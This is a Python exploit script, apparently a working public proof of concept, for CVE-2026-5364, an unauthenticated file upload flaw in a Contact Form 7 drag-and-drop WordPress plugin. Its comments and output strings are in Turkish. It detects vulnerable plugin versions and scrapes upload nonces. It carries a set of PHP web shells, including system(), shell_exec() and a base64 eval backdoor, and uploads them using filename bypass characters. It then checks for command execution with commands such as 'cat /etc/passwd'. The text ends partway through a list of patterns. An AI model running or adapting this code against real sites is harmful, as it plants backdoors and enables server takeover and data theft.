1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
CVE-2026-5364 — Drag and Drop File Upload for Contact Form 7 <= 1.1.3
Unauthenticated Arbitrary File Upload via sanitize_file_name() Bypass
CVSS 8.1 (High)
Researcher: Thomas Sanzey
"""
import requests, argparse, re, sys, time, threading, shutil, json, os
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urljoin, urlparse
requests.packages.urllib3.disable_warnings()
# ══════════════════════════════════════════════════
# RENK & ÇIKTI
# ══════════════════════════════════════════════════
def tw():
return shutil.get_terminal_size((100, 24)).columns
class C:
G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m"
CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m"
BL="\033[1m"; X="\033[0m"
BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m"
NOCOLOR = False
@classmethod
def fmt(cls, msg, *codes):
if cls.NOCOLOR: return str(msg)
return "".join(codes) + str(msg) + cls.X
@classmethod
def ok(cls, m): return cls.fmt(m, cls.G)
@classmethod
def err(cls, m): return cls.fmt(m, cls.R)
@classmethod
def warn(cls, m): return cls.fmt(m, cls.Y)
@classmethod
def dim(cls, m): return cls.fmt(m, cls.DM)
@classmethod
def badge_err(cls, m): return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH)
@classmethod
def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m")
@classmethod
def badge_ok(cls, m): return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH)
_lock = Lock()
_verbose = False
def out(msg="", end="\n"):
with _lock:
sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end)
sys.stdout.flush()
def vout(msg):
if _verbose: out(msg)
def section(title, icon="◆"):
out()
out(C.fmt(f" {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH))
out(C.fmt(" " + "─" * min(50, tw()-4), C.DM))
def kv(k, v, vc=None):
out(C.fmt(f" · {k:<16}", C.DM) + C.fmt(str(v), vc or C.WH))
# ══════════════════════════════════════════════════
# PROGRESS BAR
# ══════════════════════════════════════════════════
class Bar:
def __init__(self, total, title="", color=None):
self.total = max(total, 1)
self.title = title
self.color = color or C.CY
self.current = 0
self.start = time.time()
self._lines = 0
def update(self, n, info=""):
self.current = n
w = tw()
bw = max(10, w - len(self.title) - 26)
pct = n / self.total
filled = int(bw * pct)
elapsed = time.time() - self.start + 0.001
rate = n / elapsed
eta = (self.total - n) / rate if rate > 0 else 0
bar = (C.fmt("█" * filled, self.color, C.BL) +
C.fmt("░" * (bw - filled), C.DM))
l1 = (C.fmt(f" {self.title} ", C.BL, self.color) +
f" [{bar}] " +
C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) +
C.fmt(f" ({n}/{self.total})", C.DM))
l2 = (f" " + C.fmt(f"{rate:5.1f}/s", C.G) +
f" ETA " + C.fmt(f"{eta:4.0f}s", C.Y) +
f" " + C.fmt(str(info)[:w-32], C.DM))
with _lock:
if self._lines:
sys.stdout.write(f"\033[{self._lines}A\033[J")
sys.stdout.write(l1 + "\n" + l2 + "\n")
sys.stdout.flush()
self._lines = 2
def finish(self, msg=""):
bw = max(10, tw() - len(self.title) - 26)
elapsed = time.time() - self.start
rate = self.current / (elapsed + 0.001)
with _lock:
if self._lines:
sys.stdout.write(f"\033[{self._lines}A\033[J")
sys.stdout.write(
C.fmt(f" {self.title} ", C.BL, C.G) +
f" [{C.fmt('█'*bw, C.G, C.BL)}] " +
C.fmt("100.0%", C.BL, C.G) +
C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" +
C.fmt(" ✓ ", C.G, C.BL) +
C.fmt(f"{elapsed:.1f}s {rate:.1f}/s", C.DM) +
(C.fmt(f" {msg}", C.CY) if msg else "") + "\n"
)
sys.stdout.flush()
self._lines = 0
class CounterBar:
def __init__(self, total, title="Scan"):
self.total = max(total, 1)
self.title = title
self.n = 0
self.start = time.time()
def inc(self, info=""):
with _lock:
self.n += 1
elapsed = time.time() - self.start + 0.001
rate = self.n / elapsed
eta = (self.total - self.n) / rate if rate > 0 else 0
line = (C.fmt(f" {self.title} ", C.BL, C.CY) +
C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) +
C.fmt(f" ({self.n}/{self.total})", C.DM) +
C.fmt(f" {rate:.1f}/s", C.G) +
C.fmt(f" ETA {eta:.0f}s", C.Y) +
C.fmt(f" {str(info)[:45]}", C.DM))
sys.stdout.write("\r" + " " * tw() + "\r" + line)
sys.stdout.flush()
def finish(self, msg=""):
elapsed = time.time() - self.start
with _lock:
sys.stdout.write("\r" + " " * tw() + "\r")
sys.stdout.write(
C.fmt(f" {self.title} ", C.BL, C.G) +
C.fmt(" TAMAMLANDI", C.BL, C.G) +
C.fmt(f" ({self.n}/{self.total})", C.DM) +
C.fmt(f" {elapsed:.1f}s", C.DM) +
(C.fmt(f" {msg}", C.CY) if msg else "") + "\n"
)
sys.stdout.flush()
# ══════════════════════════════════════════════════
# BANNER
# ══════════════════════════════════════════════════
def print_banner():
out(C.fmt("""
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝
""", C.CY, C.BL))
out(C.fmt(" CVE-2026-5364", C.BL, C.R) +
C.fmt(" CF7 Drag & Drop File Upload <= 1.1.3 ", C.DM) +
C.badge_err("CVSS 8.1 HIGH"))
out(C.fmt(" Unauthenticated File Upload via sanitize_file_name() Bypass", C.DM))
out(C.fmt(" " + "─" * (tw()-4), C.DM))
out()
# ══════════════════════════════════════════════════
# HTTP
# ══════════════════════════════════════════════════
def make_session(timeout=15, proxy=None):
s = requests.Session()
s.verify = False
s.timeout = timeout
s.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36",
})
if proxy:
s.proxies = {"http": proxy, "https": proxy}
return s
def get(sess, url, **kw):
try:
return sess.get(url, allow_redirects=True, **kw)
except Exception as e:
vout(C.dim(f" [GET ERR] {url} → {e}"))
return None
def post_req(sess, url, **kw):
try:
return sess.post(url, allow_redirects=True, **kw)
except Exception as e:
vout(C.dim(f" [POST ERR] {url} → {e}"))
return None
# ══════════════════════════════════════════════════
# PLUGİN TESPİT
# ══════════════════════════════════════════════════
PATCHED = (1, 1, 4)
def parse_version(v):
try:
return tuple(int(x) for x in re.split(r'[.\-]', str(v))[:3])
except Exception:
return (0, 0, 0)
def is_patched(v):
return parse_version(v) >= PATCHED
def detect_plugin(sess, base_url):
result = {
"installed": False,
"version": None,
"patched": False,
"cf7": False,
}
# ── 1) readme.txt ────────────────────────────
readme_url = urljoin(base_url,
"/wp-content/plugins/drag-and-drop-file-upload-for-contact-form-7/readme.txt")
r = get(sess, readme_url)
if r and r.status_code == 200 and "Drag and Drop" in r.text:
result["installed"] = True
m = re.search(r'Stable tag:\s*([\d.]+)', r.text, re.I)
if m:
result["version"] = m.group(1)
result["patched"] = is_patched(m.group(1))
vout(C.dim(f" [detect] readme.txt → v{result['version']}"))
# ── 2) JS dosyası ────────────────────────────
if not result["installed"]:
js_url = urljoin(base_url,
"/wp-content/plugins/drag-and-drop-file-upload-for-contact-form-7"
"/frontend/js/cf7_uploads.js")
r = get(sess, js_url)
if r and r.status_code == 200:
result["installed"] = True
vout(C.dim(" [detect] JS dosyası bulundu"))
# ── 3) HTML sinyalleri ───────────────────────
if not result["installed"]:
r = get(sess, base_url)
if r:
signals = [
r'cf7_file_uploads',
r'drag-and-drop-file-upload-for-contact-form-7',
r'cf7_uploads',
r'dnd_upload',
]
for sig in signals:
if re.search(sig, r.text, re.I):
result["installed"] = True
vout(C.dim(f" [detect] HTML sinyal: {sig}"))
break
# ── CF7 kontrolü ─────────────────────────────
r = get(sess, base_url)
if r and re.search(r'wpcf7|contact-form-7', r.text, re.I):
result["cf7"] = True
return result
# ══════════════════════════════════════════════════
# NONCE ÇIKAR
# ══════════════════════════════════════════════════
def extract_nonce(sess, base_url):
candidates = [
base_url,
urljoin(base_url, "/contact/"),
urljoin(base_url, "/contact-us/"),
urljoin(base_url, "/iletisim/"),
urljoin(base_url, "/?page_id=2"),
urljoin(base_url, "/?p=1"),
]
# REST API'den sayfa listesi
api = urljoin(base_url, "/wp-json/wp/v2/pages?per_page=20&_fields=link")
r = get(sess, api)
if r and r.status_code == 200:
try:
for p in r.json():
link = p.get("link", "")
if link and link not in candidates:
candidates.append(link)
except Exception:
pass
nonce_patterns = [
r'"nonce"\s*:\s*"([a-f0-9]{10})"',
r"'nonce'\s*:\s*'([a-f0-9]{10})'",
r'cf7_file_uploads.*?"nonce"\s*:\s*"([a-f0-9]+)"',
r'nonce["\s:\']+([a-f0-9]{8,12})',
]
for url in candidates:
r = get(sess, url)
if not r or r.status_code != 200:
continue
for pat in nonce_patterns:
m = re.search(pat, r.text, re.S)
if m:
nonce = m.group(1)
vout(C.dim(f" [nonce] {url} → {nonce}"))
return nonce, url
return None, None
# ══════════════════════════════════════════════════
# WEBSHELL İÇERİKLERİ
# ══════════════════════════════════════════════════
SHELLS = {
"basic": '<?php system($_GET["cmd"]); ?>',
"exec": '<?php echo shell_exec($_GET["cmd"]); ?>',
"pass": '<?php passthru($_GET["cmd"]); ?>',
"eval": '<?php @eval(base64_decode($_POST["x"])); ?>',
"info": '<?php phpinfo(); ?>',
}
def get_shell_content(shell_type="basic"):
return SHELLS.get(shell_type, SHELLS["basic"])
# ══════════════════════════════════════════════════
# SHELL URL DOĞRULA
# ══════════════════════════════════════════════════
def is_valid_shell_url(url, base_url):
"""
Dönen URL gerçekten upload dizininde bir PHP dosyası mı?
"""
if not url or not isinstance(url, str):
return False
# http ile başlamalı
if not url.startswith("http"):
return False
parsed = urlparse(url)
# .php uzantılı olmalı
if not parsed.path.lower().endswith(".php"):
return False
# uploads dizininde olmalı
if "uploads" not in parsed.path:
return False
# Bilinen WP sistem dosyaları olmamalı
BLOCKED_PATHS = [
"xmlrpc.php", "wp-login.php", "wp-cron.php",
"wp-trackback.php", "wp-comments-post.php",
"wp-signup.php", "wp-activate.php",
]
path_lower = parsed.path.lower()
for bp in BLOCKED_PATHS:
if path_lower.endswith(bp):
vout(C.dim(f" [url_check] Engellendi: {bp}"))
return False
# wp-admin içinde olmamalı
if "wp-admin" in path_lower:
return False
return True
# ══════════════════════════════════════════════════
# DOSYA YÜKLE
# ══════════════════════════════════════════════════
def upload_shell(sess, base_url, nonce, shell_content, shell_type="basic"):
"""
CVE-2026-5364 exploit:
- Dosya adı : shell.php$ → sanitize_file_name() → .php olarak kaydedilir
- type param: php$ → blacklist'te yok, allowlist'te var
- Sonuç : wp-content/uploads/cf7-uploads-custom/<uniqid>.php
"""
ajax_url = urljoin(base_url, "/wp-admin/admin-ajax.php")
# sanitize_file_name() tarafından silinen bypass karakterleri
bypass_chars = ["$", "%", "~", "`", " "]
for bchar in bypass_chars:
filename = f"shell.php{bchar}"
ext_bypass = f"php{bchar}"
shell_bytes = shell_content.encode()
files = {
"file": (
filename,
shell_bytes,
"application/x-php",
)
}
data = {
"action": "cf7_file_uploads",
"nonce": nonce,
"type": ext_bypass,
"size": str(len(shell_bytes)),
"type_upload": "0",
}
vout(C.dim(f" [upload] bypass='{bchar}' "
f"file={filename} type={ext_bypass}"))
r = post_req(sess, ajax_url, data=data, files=files)
if not r:
continue
vout(C.dim(f" [response] {r.status_code} → {r.text[:200]}"))
# ── JSON parse ───────────────────────────
try:
resp = r.json()
if resp.get("status") == "ok":
file_url = resp.get("text", "")
# URL doğrulama — xmlrpc.php gibi sahte URL'leri filtrele
if is_valid_shell_url(file_url, base_url):
return {
"ok": True,
"url": file_url,
"bchar": bchar,
"filename": filename,
"raw": resp,
}
else:
vout(C.dim(f" [upload] Geçersiz shell URL: {file_url}"))
continue
# Reddedildi — sonraki bypass dene
if resp.get("status") == "not":
vout(C.dim(f" [upload] '{bchar}' reddedildi"))
continue
except Exception:
# JSON değil — regex ile URL ara
m = re.search(r'https?://[^\s"\'<>]+\.php', r.text)
if m:
file_url = m.group(0)
if is_valid_shell_url(file_url, base_url):
return {
"ok": True,
"url": file_url,
"bchar": bchar,
"filename": filename,
"raw": r.text,
}
return {"ok": False, "reason": "all_bypass_failed"}
# ══════════════════════════════════════════════════
# SHELL DOĞRULA & KOMUT ÇALIŞTIR
# ══════════════════════════════════════════════════
# Komuta özel kesin RCE kalıpları
RCE_PATTERNS = {
"id": r'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)',
"whoami": r'^(?:www-data|root|apache|nginx|nobody|http|daemon|ftp)$',
"uname -a": r'Linux\s+\S+\s+\d+\.\d+\.\d+',
"uname": r'(?:Linux|Darwin|FreeBSD)\s+\S+',
"pwd": r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$',
"hostname": r'^[a-zA-Z0-9][a-zA-Z0-9\-]{2,62}$',
"cat /etc/passwd": r'root:x:0:0:root',
"ls": r'(?:total \d+|[-drwx]{10}\s+\d+)',
"ls -la": r'(?:total \d+|[-drwx]{10}\s+\d+)',
"ps": r'(?:PID\s+TTY|^\s*\d+\s+pts)',
"ps aux": r'(?:USER\s+PID|root\s+\d+)',
"ifconfig": r'inet\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
"ip a": r'inet\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
"df": r'/dev/[a-z]+\d*\s+\d+',
"df -h": r'/dev/[a-z]+\d*\s+\d+',
"env": r'(?:^|\n)(?:PATH|HOME|USER|SHELL)=',
"phpinfo": r'PHP Version \d+\.\d+\.\d+',
}
# Kesinlikle false positive olan içerikler
FALSE_POSITIVES = [
r'XML-RPC',
r'xmlrpc',
r'POST requests only',
r'WordPress.*?site',
r'wp-login',
|